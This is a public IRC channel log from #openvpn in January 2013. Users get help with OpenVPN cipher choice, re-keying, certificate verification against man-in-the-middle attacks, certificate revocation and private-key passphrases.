11:54 < Cubox> yes.
11:54 < Cubox> but i'm not really good at routing :P
11:55 < Cubox> specially with IPv6
11:55 <+pekster> Same game, bigger numbers
11:55 < Cubox> yeah
11:56 -!- lololojfegdiufhg [~root@thunderaan.cubox.me] has quit [Quit: WeeChat 0.3.9.2]
11:59 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has quit [Read error: Operation timed out]
12:22 -!- AlbinoGeek [AcademyInt@academyintl/director/AcademyIntl] has quit [Quit: I need a new quit message.]
12:28 -!- lipi [~lipi@69.204.223.87.dynamic.jazztel.es] has quit [Quit: Me'n vaig]
12:36 -!- Valcorb [~Valcorb@94-226-106-113.access.telenet.be] has joined #openvpn
12:39 -!- Valcorb [~Valcorb@94-226-106-113.access.telenet.be] has quit [Remote host closed the connection]
12:39 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
12:54 -!- Tomoyo [Wintereise@113.11.122.231] has joined #openvpn
12:54 -!- Tomoyo is now known as Guest47194
12:58 -!- Wintereise [Wintereise@113.11.122.231] has quit [Ping timeout: 248 seconds]
13:02 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
13:03 -!- Orbi [~opera@anon-149-217.vpn.ipredator.se] has quit [Ping timeout: 245 seconds]
13:06 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
13:07 -!- [fred] [fred@konfuzi.us] has joined #openvpn
13:07 -!- swiftkey [swiftkey@unaffiliated/swiftkey] has quit [Ping timeout: 246 seconds]
13:08 -!- swiftkey [swiftkey@unaffiliated/swiftkey] has joined #openvpn
13:11 -!- Wintereise [Wintereise@113.11.122.231] has joined #openvpn
13:13 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
13:14 -!- Guest47194 [Wintereise@113.11.122.231] has quit [Ping timeout: 256 seconds]
13:26 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
13:27 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
13:29 -!- Valcorb [Valcorb@94-226-106-113.access.telenet.be] has joined #openvpn
13:45 -!- Rolybrau [nemysis@unaffiliated/rolybrau] has joined #openvpn
13:52 -!- Rolybrau [nemysis@unaffiliated/rolybrau] has quit [Quit: Rolybrau]
14:11 -!- Porkepix [~Porkepix@lns-bzn-45-82-65-137-188.adsl.proxad.net] has quit [Ping timeout: 260 seconds]
14:13 -!- Porkepix [~Porkepix@lns-bzn-33-82-252-63-56.adsl.proxad.net] has joined #openvpn
14:26 -!- frsk [fredrik@joy.frsk.net] has joined #openvpn
14:29 -!- mdw [~mdw@cpc8-dals18-2-0-cust303.hari.cable.virginmedia.com] has joined #openvpn
14:30 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has quit [Ping timeout: 240 seconds]
14:37 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
15:12 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
15:32 -!- Cubox [cubox@unaffiliated/cubox] has left #openvpn ["WeeChat 0.4.0-rc1"]
15:48 -!- valparaiso [~valparais@ARennes-257-1-48-169.w81-53.abo.wanadoo.fr] has joined #openvpn
15:50 -!- Cubox [cubox@unaffiliated/cubox] has joined #openvpn
15:50 -!- Valcorb [Valcorb@94-226-106-113.access.telenet.be] has quit []
15:53 -!- Cubox` [cubox@unaffiliated/cubox] has joined #openvpn
15:53 -!- Cubox [cubox@unaffiliated/cubox] has quit [Client Quit]
15:53 -!- Cubox` [cubox@unaffiliated/cubox] has quit [Client Quit]
15:54 -!- Cubox [cubox@unaffiliated/cubox] has joined #openvpn
15:59 -!- Cubox [cubox@unaffiliated/cubox] has left #openvpn ["WeeChat 0.3.9.2"]
16:27 -!- gffa [~unknown@unaffiliated/gffa] has quit [Ping timeout: 252 seconds]
16:36 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 252 seconds]
17:32 -!- Tativie [~Tativie@gateway/tor-sasl/tativie] has joined #openvpn
17:45 < Tativie> I am getting "WARNING: No server certificate verification method has been enabled." however the session seems to work well. However, the session seems to reset the key every 30 or so minutes: "TLS: tls_process: killed expiring key" is this something I should be concerned with. I would like for the encryption to be as strong as possible, even at expense to speed.
17:51 < Tativie> From the site "SSL/TLS renegotiation handshake which occurs once per client per hour" hmm maybe that is all I am seeing?
17:53 < Tativie> Looks like "cipher AES-256-CBC" might be a good choice? Or is there a stronger one? Is blowfish's 128 better in some ways?
17:55 -!- brute11k [~brute11k@89.249.230.101] has quit [Quit: Leaving.]
17:56 < Tativie> "http://infocenter.sybase.com/help/topic/com.sybase.infocenter.dc71335.1502/html/aserbwin/aserbwin27.htm" suggests "TLS_RSA_WITH_AES_256_CBC_SHA" is the strongest? Any advice?
18:10 < Tativie> Maybe I should try adding 'persist-key' & 'persist-tun' in the .conf?
18:11 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has joined #openvpn
18:13 < dioz> sounds reasonable
18:18 -!- Guest19661 [~LaStik@62.109.16.198] has quit [Quit: Peace.]
18:19 < Tativie> dioz, does having a short lived key have any advantages?
18:20 -!- b1rkh0ff [~b1rkh0ff@178.77.21.223] has quit [Ping timeout: 252 seconds]
18:20 < dioz> in terms of data encryption yeah it probably would
18:21 < dioz> if the party changes keys used at regular intervals
18:33 -!- b1rkh0ff [~b1rkh0ff@178.77.1.83] has joined #openvpn
18:47 <+pekster> Tativie: You have 2 choices for cipher/auth: one for the TLS control channel, and another for the data encryption/hash. I prefer blowfish (I tend to use 128 or 256-bit symmetric keys for that) as BF is generally faster during encryption and only slower during re-keying (which doesn't matter since you have a grace window anyway)
18:47 <+pekster> Tativie: You can improve your security against MITM downgrade attacks by limiting your allowed TLS ciphers to only those you select, or just a single one
18:48 <+pekster> As far as re-keying, the default values are probably fine; I tend to lower my tran-window to about 10 minutes instead of the default of 60, but that's just preference really
18:50 < Tativie> pekster: what line would I need to put in the .conf for 'cipher blowfish 256-bit symmetric key' and what would I need to put in the .conf to change the re-keying time to 10 minutes?
18:50 <+pekster> See 'openvpn --show-ciphers' for a cipher list that you use with the 'cipher' directive in the config file
18:51 <+pekster> The default keysize is used, unless the 'keysize' directive is specified
18:51 < Tativie> Also should I use 'user nobody' & 'group nobody' on both server and client side .conf files?
18:51 <+pekster> See also: --tran-window for the time the old key is valid after symmetric re-key is initiated
18:52 <+pekster> Tativie: Mixed bag as far as user downgrade. It can help if the application is ever compromised, but it means you must use --persist-key and possibly --persist-tun (depending on scripts/configuration) which lowers security slightly in the sense that the key material is in-RAM all the time
18:53 <+pekster> That's "usually" okay in a proper Unix-like environment with mlock, although I tend not to downgrade since it causes me more problems with my dynamic firewalling/routing I do on many of my VPN servers
18:53 <+pekster> Ultimately you need to figure out what method you consisder more secure
18:54 <+pekster> Here's my "standard" boilerplate TLS setup: http://fpaste.org/afNV/
18:54 <+pekster> (you can use line 6 or 7 as you prefer based on how you sign your certs)
18:55 <+pekster> I just use the EKU only, so I use that as my client/server differentiator
18:55 <+pekster> Same for the client, but it has the server/TLS Web Server Authentication values for the remote cert
18:57 < Tativie> hmm. okay.  Thanks for the help. I think that I need to do some more research to understand it better. I'm not even sure if I signed the certs right or not. But it does seem to be working.
18:58 <+pekster> The warning you get means that another valid client could pose as a server to the system issuing that warning
18:59 <+pekster> You should use a remote-cert validation method to restrict the client to talk to only certs that have been designated as a "server" cert; if you use easy-rsa it does that for you, or you can use the proper KU/EKU/ns-cert-type values yourself when you sign (if you manage your own PKI)
18:59 <+pekster> See:
18:59 <+pekster> !mitm
18:59 <@vpnHelper> "mitm" is (#1) http://openvpn.net/index.php/documentation/howto.html#mitm to know about stopping Man-in-the-Middle attacks by signing the server cert specially or (#2) use !servercert to generate the server cert manually or use the easy-rsa build-key-server script to build your server certificates or (#3) then use: ns-cert-type server in the client config
18:59 -!- valparaiso [~valparais@ARennes-257-1-48-169.w81-53.abo.wanadoo.fr] has left #openvpn []
19:02 < Tativie> Thanks, I will check it out and try setting it up sometime.
19:03 <+pekster> !mitm forget 3
19:04 <+pekster> !forget mitm 3
19:04 <@vpnHelper> Error: You don't have the factoids.forget capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified.
19:04 <+pekster> :\
19:05 <+pekster> That should be remote-cert-tls as the new-and-preferred method
19:10 < Tativie> It looks like the server .conf file already has the persist-tun and persist-key active. Is the client does specify it also it uses expiring keys?
19:11 < Tativie> If the client does*
19:11 < Tativie> *does not specify*
19:11 <+pekster> All the --persist-* options only impact the local side, not the remote
19:11 <+pekster> It's for the X509 keys, not the ephemeral symmetric ones
19:12 -!- b1rkh0ff [~b1rkh0ff@178.77.1.83] has quit [Ping timeout: 246 seconds]
19:16 < Tativie> hmm, okay. I don't fully understand, but I take it that means the server .conf's use of the persist options does not really matter for my current session?
19:18 <+pekster> I don't understand the question
19:24 -!- nucl3ar [~atom@c-69-247-138-234.hsd1.tn.comcast.net] has quit [Quit: leaving]
19:26 -!- Guest47194 [~reise@180.210.201.168] has joined #openvpn
19:27 -!- Wintereise [Wintereise@113.11.122.231] has quit [Ping timeout: 246 seconds]
20:09 -!- HyperGlide [~HyperGlid@182.151.63.232] has joined #openvpn
20:18 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has quit [Ping timeout: 248 seconds]
20:45 -!- HyperGlide [~HyperGlid@182.151.63.232] has quit [Remote host closed the connection]
20:45 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has joined #openvpn
20:47 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
20:51 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has quit [Ping timeout: 248 seconds]
20:55 -!- mojtaba [~Thunderbi@CPE0026f321a168-CM0026f321a165.cpe.net.cable.rogers.com] has joined #openvpn
20:55 < mojtaba> Hi
20:55 < mojtaba> I have just installed openvpn
20:55 < mojtaba> Is there anybody who can help me to configure it?
20:55 < mojtaba> I have installed it on latest version of Ubuntu
20:56 < mojtaba> and would like to connect to it with windows clients and also with android mobile clients.
20:56 < mojtaba> I am also pretty new to Linux era.
20:56 < mojtaba> Any simplified help is highly appreciated.
20:57 < mojtaba> Is anybody there?
20:57 < mojtaba> hello?
20:57 < dioz> hi
20:57 < mojtaba> dioz: hi
20:57 < mojtaba> Can you help me?
20:58 < dioz> !welcome
20:58 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum !wiki
20:58 <@vpnHelper> !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
20:59 < mojtaba> vpnHelper: Could you explain more, (sorry), I am also new to IRC.
20:59 < mojtaba> I would like to access internet through openvpn to bypass filtering.
21:00 < mojtaba> I am going to set it up in my home and go to trip.
21:02 < mojtaba> hello?
21:02 < mojtaba> Anybody there?
21:27 -!- Wulf [~Wulf@unaffiliated/wulf] has quit [Ping timeout: 260 seconds]
21:40 < EugeneKay> Nope.
21:40 < EugeneKay> !howto
21:40 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
21:40 < EugeneKay> !redirect
21:40 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
21:40 <@vpnHelper> http://ircpimps.org/redirect.png
21:41 < EugeneKay> Getting the basic VPN working(being able to ping over the tun interface) is the hardest part, because of the PKI stuff.
21:41 < EugeneKay> The howto covers it all pretty well.
21:41 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has joined #openvpn
22:00 -!- black_ [black@2001:470:8cf8::29] has joined #openvpn
22:00 -!- blackmagic [~black@ip98-185-21-138.rn.hr.cox.net] has quit [Quit: Leaving]
22:00 -!- black_ is now known as blackmagic
22:04 -!- blackmagic [black@2001:470:8cf8::29] has quit [Quit: ZNC - http://znc.in]
22:49 -!- blackmagic [black@2001:470:8cf8::29] has joined #openvpn
23:35 -!- blackmagic [black@2001:470:8cf8::29] has quit [Quit: ZNC - http://znc.in]
23:40 -!- blackmagic [black@got.laid.using.blackmajic.org] has joined #openvpn
--- Day changed Mon Jan 21 2013
00:04 -!- Tativie [~Tativie@gateway/tor-sasl/tativie] has quit [Quit: Leaving.]
00:07 -!- mojtaba [~Thunderbi@CPE0026f321a168-CM0026f321a165.cpe.net.cable.rogers.com] has quit [Quit: mojtaba]
00:08 -!- b1rkh0ff [~b1rkh0ff@178.77.1.83] has joined #openvpn
00:38 -!- EugeneKay [eugene@itvends.com] has quit [Quit: ZNC - http://znc.in]
00:38 -!- EugeneKay [eugene@stretchmyan.us] has joined #openvpn
00:49 -!- kobolduk [~kobolduk@office.prolocation.net] has joined #openvpn
00:59 -!- Guest47194 [~reise@180.210.201.168] has quit [Ping timeout: 244 seconds]
01:00 -!- Wintereise [Wintereise@113.11.122.231] has joined #openvpn
01:00 -!- Wintereise [Wintereise@113.11.122.231] has quit [Changing host]
01:00 -!- Wintereise [Wintereise@unaffiliated/wintereise] has joined #openvpn
01:15 -!- brute11k [~brute11k@89.249.230.101] has joined #openvpn
01:33 -!- Friberg [~Friberg@h-223-133.a176.priv.bahnhof.se] has quit [Ping timeout: 255 seconds]
01:47 -!- Minnebo [~Minnebo@office.exabyte.be] has joined #openvpn
01:47 < Minnebo> !bridge
01:48 <@vpnHelper> "bridge" is (#1) http://openvpn.net/index.php/documentation/miscellaneous/ethernet-bridging.html for the doc or (#2) http://openvpn.net/index.php/documentation/faq.html#bridge1 for info from the FAQ or (#3) also see !tunortap and !layer2 and read --server-bridge in the manual (!man) or (#4) also see !whybridge
01:48 < Minnebo> !whybridge
01:48 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting
01:58 < Minnebo> openvpn is a pain in the ass
01:58 < Minnebo> i guess i will install pfsense
02:13 -!- Wulf [~Wulf@unaffiliated/wulf] has joined #openvpn
02:13 -!- thinkHell [~Hell@85.15.47.27] has joined #openvpn
02:18 -!- ade_b [~Ade@109.58.66.70.bredband.tre.se] has joined #openvpn
02:18 -!- ade_b [~Ade@109.58.66.70.bredband.tre.se] has quit [Changing host]
02:18 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
03:18 -!- thinkHell [~Hell@85.15.47.27] has quit [Quit: ["pop()"]]
03:38 -!- Azrael808 [~peter@212.161.9.162] has joined #openvpn
04:14 -!- fling [~fling@fsf/member/fling] has joined #openvpn
04:15 < fling> how to remove a key from easy-rsa base?
04:15 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
04:17 < fling> do I need to just delete files? what about .pem?
04:51 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
04:52 -!- brute11k [~brute11k@89.249.230.101] has quit [Ping timeout: 248 seconds]
04:55 -!- brute11k [~brute11k@89.249.230.101] has joined #openvpn
05:02 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has quit [Ping timeout: 246 seconds]
05:03 -!- HyperGlide [~HyperGlid@182.149.69.53] has joined #openvpn
05:23 -!- brute11k [~brute11k@89.249.230.101] has quit [Ping timeout: 244 seconds]
05:25 -!- brute11k [~brute11k@89.249.230.101] has joined #openvpn
05:26 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
05:41 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has quit [Quit: ByeBye]
05:47 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 256 seconds]
05:55 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
05:58 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 256 seconds]
06:03 -!- dydzEz2_ [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has joined #openvpn
06:05 -!- Minnebo [~Minnebo@office.exabyte.be] has quit [Ping timeout: 244 seconds]
06:06 -!- dydzEz2 [dydzEz2@c-67-163-13-78.hsd1.il.comcast.net] has quit [Ping timeout: 248 seconds]
06:08 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 245 seconds]
06:11 -!- ikonia [~irc@unaffiliated/ikonia] has left #openvpn []
06:13 -!- Azrael808 [~peter@212.161.9.162] has quit [Ping timeout: 252 seconds]
06:13 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
06:15 -!- HyperGlide [~HyperGlid@182.149.69.53] has quit [Remote host closed the connection]
06:16 -!- brute11k [~brute11k@89.249.230.101] has quit [Ping timeout: 248 seconds]
06:16 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has joined #openvpn
06:16 -!- brute11k [~brute11k@89.249.230.101] has joined #openvpn
06:18 -!- ade_b [~Ade@redhat/adeb] has quit [Remote host closed the connection]
06:19 -!- ade_b [~Ade@109.58.66.70.bredband.tre.se] has joined #openvpn
06:19 -!- ade_b [~Ade@109.58.66.70.bredband.tre.se] has quit [Changing host]
06:19 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
06:27 -!- Azrael808 [~peter@212.161.9.162] has joined #openvpn
06:28 -!- brute11k [~brute11k@89.249.230.101] has quit [Ping timeout: 255 seconds]
06:30 -!- kobolduk [~kobolduk@office.prolocation.net] has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
06:30 -!- brute11k [~brute11k@89.249.230.101] has joined #openvpn
06:36 -!- brute11k1 [~brute11k@89.249.230.101] has joined #openvpn
06:37 -!- brute11k [~brute11k@89.249.230.101] has quit [Ping timeout: 240 seconds]
06:39 -!- Azrael808 [~peter@212.161.9.162] has quit [Ping timeout: 256 seconds]
06:42 -!- mh__ [~mh@dev.hollo.dk] has joined #openvpn
06:42 < mh__> hi.. im looking for a way to validate when my ssl cert expires remotely, is that possible somehow?
06:42 < mh__> i have been looking at the parameters that i can give openssl.. but cannot really find a way
06:43 < AsadH> What do you mean mh__?
06:43 < AsadH> Take a look at http://uk1.php.net/openssl_x509_parse
06:43 <@vpnHelper> Title: PHP: openssl_x509_parse - Manual (at uk1.php.net)
06:43 < mh__> AsadH: i would like my nagios server to monitor when my server cert of my openvpn server expires..
06:43 < mh__> AsadH: thanks a lot
06:46 -!- Wintereise [Wintereise@unaffiliated/wintereise] has quit []
06:46 -!- Winterei- [~reise@205.185.126.190] has joined #openvpn
06:51 -!- Azrael808 [~peter@212.161.9.162] has joined #openvpn
06:52 -!- niervol [~krystian@193.106.244.150] has joined #openvpn
06:54 < mh__> hm.. but that requires that i have the public cert.. are there any way to get the cert from a remote host? that will be the first step..
06:54 <@ecrist> no
06:56 -!- IT2 [~userit@86.120.191.55] has joined #openvpn
06:56 < mh__> okay.. that make my search a lot easier..
06:56 < AsadH> mh__ I think you can
06:57 <@ecrist> you need the certificate to check the expiration date.
06:57 <@ecrist> you could have a server-side client-connect script, though
06:57 <@ecrist> since that data is part of what's checked by openvpn
06:57 < AsadH> http://www.asadhaider.co.uk/test.php
06:57 < AsadH> gets google cert info
06:57 < AsadH> [validTo] => 130930235959Z
06:58 < mh__> AsadH: you did that with the openssl functions in php?
06:58 <@ecrist> AsadH: that's because google presents their certificate for connecting web clients
06:58 <@ecrist> openvpn clients don't present their certificate, since they're not listening for connections
06:58 < AsadH> oh, you mean openvpn certs?
06:58 < AsadH> Sorry :P
06:58 < AsadH> I don't even use openvpn
06:58 < mh__> AsadH: oh okay.. yes thats openvpn certs
06:58 <@ecrist> wtf are you here for, then, AsadH?
06:59 < AsadH> Oh, no. That's for SSL certs
06:59 < mh__> then the answer would be no.. well.. then i just have  to make the check on the firewall
06:59 -!- IT2 is now known as Marius
06:59 -!- Marius is now known as Guest25156
06:59 < AsadH> ecrist: I'm planning to use it at some point :P I've only used openvpn-as
07:01 -!- Guest25156 [~userit@86.120.191.55] has left #openvpn []
07:04 -!- Winterei- is now known as Wintereise
07:04 -!- Wintereise [~reise@205.185.126.190] has quit [Changing host]
07:04 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
07:09 -!- mh__ [~mh@dev.hollo.dk] has left #openvpn []
07:31 -!- niervol [~krystian@193.106.244.150] has quit [Read error: No route to host]
07:36 -!- niervol [~krystian@193.106.244.150] has joined #openvpn
07:56 -!- khem_ [~x@lotus.redl8.com] has joined #openvpn
07:57 < khem_> is there some good way to monitor a OpenVPN service without running a management interface for each and every OpenVPN daemon, if i have several of them?
08:01 -!- niervol [~krystian@193.106.244.150] has quit [Quit: Leaving.]
08:04 -!- niervol [~krystian@193.106.244.150] has joined #openvpn
08:04 < blackmagic> management interface?
08:05 < AsadH> he might mean access server
08:07 < con3x> SSH!
08:08 < con3x> :P
08:08 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has quit []
08:10 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has quit [Remote host closed the connection]
08:16 -!- zu [~zu@ks387228.kimsufi.com] has quit [Ping timeout: 276 seconds]
08:18 -!- Porkepix [~Porkepix@lns-bzn-33-82-252-63-56.adsl.proxad.net] has quit [Ping timeout: 248 seconds]
08:37 -!- gustavoz [~gustavoz@host110.190-225-90.telecom.net.ar] has joined #openvpn
08:47 -!- KaiForce [~chatzilla@adsl-70-228-76-146.dsl.akrnoh.ameritech.net] has joined #openvpn
08:59 -!- d12fk [~heiko@exit0.net] has joined #openvpn
09:00 <@ecrist> khem_: no
09:00 <@ecrist> you need to monitor each process separately, or you need to monitor each processes status-log
09:01 -!- cjs226 [~cjs226@99-42-101-89.lightspeed.austtx.sbcglobal.net] has joined #openvpn
09:14 <+pekster> fling: If you want to revoke a cert you've issued, you should use the revoke-full script, and then generate and publish the CRL to your server so the certificate can't be used by a client that no longer should connect
09:15 < fling> pekster: hmm hmm
09:16 < fling> pekster: what is CRL?
09:16 <+pekster> !crl
09:16 <@vpnHelper> "crl" is (#1) --crl-verify <crl> A CRL (certificate revocation list) is used when a particular key is compromised but when the overall PKI is still intact. The only time when it would be necessary to rebuild the entire PKI from scratch would be if the root certificate key itself was compromised. or (#2) you can make use of CRL by using the revoke-full script in easy-rsa (packaged with openvpn) that
09:16 <@vpnHelper> will create the CRL file for you. ssl-admin will also build a crl for you
09:21 -!- grass_ [pinne@46.246.119.109] has left #openvpn []
09:23 -!- Daedy [~deed02392@ks353738.kimsufi.com] has quit [Read error: Operation timed out]
09:26 -!- deed02392 [~deed02392@ks353738.kimsufi.com] has joined #openvpn
09:46 < AsadH> novaflash !
09:46 < AsadH> novaflash novaflash novaflash http://i.imgur.com/ELGcY8x.jpg
09:48 -!- afuentes [~afuentes@213.37.131.197.static.user.ono.com] has joined #openvpn
09:49 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
09:51 -!- Minnebo [~Minnebo@office.exabyte.be] has joined #openvpn
09:52 -!- JPeterson [~JPeterson@s213-103-211-58.cust.tele2.se] has quit [Read error: Operation timed out]
09:55 -!- Minnebo_ [~Minnebo@office.exabyte.be] has joined #openvpn
09:55 -!- Minnebo [~Minnebo@office.exabyte.be] has quit [Read error: Connection reset by peer]
09:59 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
10:12 -!- brute11k1 [~brute11k@89.249.230.101] has quit [Ping timeout: 256 seconds]
10:12 -!- brute11k [~brute11k@89.249.230.101] has joined #openvpn
10:22 -!- master_of_master [~master_of@p57B52132.dip.t-dialin.net] has quit [Ping timeout: 252 seconds]
10:24 -!- master_of_master [~master_of@p57B5425D.dip.t-dialin.net] has joined #openvpn
10:27 -!- nimbius [~cicero@108-85-136-152.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
10:28 < nimbius> hi openvpn, i have a private key with a password.  how can i supply it during connection?
10:28 < nimbius> !welcome
10:28 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
10:28 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
10:28 < nimbius> !goal i want to supply my private key password during connection
10:29 -!- MeanderingCode [~Meanderin@199.254.238.179] has joined #openvpn
10:29 <+pekster> nimbius: Normally the passphrase for an encrypted X509 key will be prompted for on STDIN; some frontends use the management interface to supply it using a method more suitable to the program (eg: a GUI window or such for a graphical frontend)
10:29 <+pekster> You can techncially tell openvpn to get the passphrase from a text file, but doing some largely makes encrypting your key pointless since anyone who can find the config can see the path to the file with your plaintext passphrase
10:30 < nimbius> pekster: thanks.  im using an init.d script that references my openvpn.conf for the office
10:31 <+pekster> Then pick a more suitable method since STDIN isn't normally exposed to the user during distro init processing. Maybe use the management interface and look at the '--management-hold' option until you manually give it the passphrase, or don't encrypted your key if you want it to automatically connect without user input
10:32 <+pekster> nimbius: References in the manpage for you to consider can be found in the following directives: --management, --management-hold, --management-client-auth, and --auth-user-pass
10:33 <+pekster> Or decrypting the key via 'openssl rsa -in encrypted.key -out unencrypted.key'
10:33 -!- Minnebo_ [~Minnebo@office.exabyte.be] has quit [Ping timeout: 252 seconds]
10:49 -!- Valcorb [Valcorb@94-226-106-113.access.telenet.be] has joined #openvpn
10:49 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-136.233.wb.wifirst.net] has joined #openvpn
10:53 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:55 < nimbius> pekster: thanks for your help :) openvpn runs well now!
10:55 -!- nimbius [~cicero@108-85-136-152.lightspeed.irvnca.sbcglobal.net] has left #openvpn ["ahoi"]
10:57 -!- raidz_away is now known as raidz
10:58 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
11:02 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
11:02 -!- Valcorb [Valcorb@94-226-106-113.access.telenet.be] has quit [Ping timeout: 256 seconds]
11:04 -!- Azrael808 [~peter@212.161.9.162] has quit [Read error: Operation timed out]
11:18 -!- Valcorb [~Valcorb@199.229.249.189] has joined #openvpn
11:19 -!- Minnebo_ [~Minnebo@78-23-254-38.access.telenet.be] has joined #openvpn
11:23 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
11:23 -!- mode/#openvpn [+v s7r] by ChanServ
11:24 -!- afuentes [~afuentes@213.37.131.197.static.user.ono.com] has quit [Ping timeout: 260 seconds]
11:24 -!- Valcorb [~Valcorb@199.229.249.189] has quit [Ping timeout: 252 seconds]
11:25 -!- Valcorb [~Valcorb@94-226-106-113.access.telenet.be] has joined #openvpn
11:26 -!- dazo is now known as dazo_afk
11:29 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
11:37 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Ping timeout: 264 seconds]
11:37 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 264 seconds]
11:37 -!- Champi [Champi@rootshell.fr] has quit [Ping timeout: 264 seconds]
11:37 -!- Champi [Champi@rootshell.fr] has joined #openvpn
11:38 -!- BtbN [~btbn@btbn.de] has quit [Ping timeout: 264 seconds]
11:38 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has quit [Ping timeout: 264 seconds]
11:41 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
11:42 -!- BtbN [~btbn@btbn.de] has joined #openvpn
11:42 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
11:43 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has joined #openvpn
11:47 -!- Valcorb [~Valcorb@94-226-106-113.access.telenet.be] has quit [Read error: Connection reset by peer]
11:49 -!- ade_b [~Ade@kista.guest.accome.com] has joined #openvpn
11:49 -!- ade_b [~Ade@kista.guest.accome.com] has quit [Changing host]
11:49 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
11:50 -!- Valcorb [~Valcorb@94-226-106-113.access.telenet.be] has joined #openvpn
11:51 -!- catsup [~d@64.111.123.163] has joined #openvpn
11:56 -!- JPeterson [~JPeterson@s213-103-211-58.cust.tele2.se] has joined #openvpn
11:59 -!- combat7331 [~Mamba@d54C66165.access.telenet.be] has joined #openvpn
11:59 < combat7331> Hello
11:59 < combat7331> How can I randomely set the IP that is connected to with OpenVPN
11:59 -!- Netsplit *.net <-> *.split quits: @vpnHelper, clu5ter, b00gz_, dioz, ben1066, DBordello, Cybertinus, ngharo, KiNgMaR, |Mike|
11:59 -!- Netsplit over, joins: Cybertinus, clu5ter
11:59 < combat7331> Something like ISP do, "Dynamic IP"
12:00 -!- b00gz_ [uid6869@gateway/web/irccloud.com/x-yssobzmevvtknuoq] has joined #openvpn
12:00 -!- AsadH is now known as zz_AsadH
12:00 -!- Valcorb [~Valcorb@94-226-106-113.access.telenet.be] has quit [Read error: Connection reset by peer]
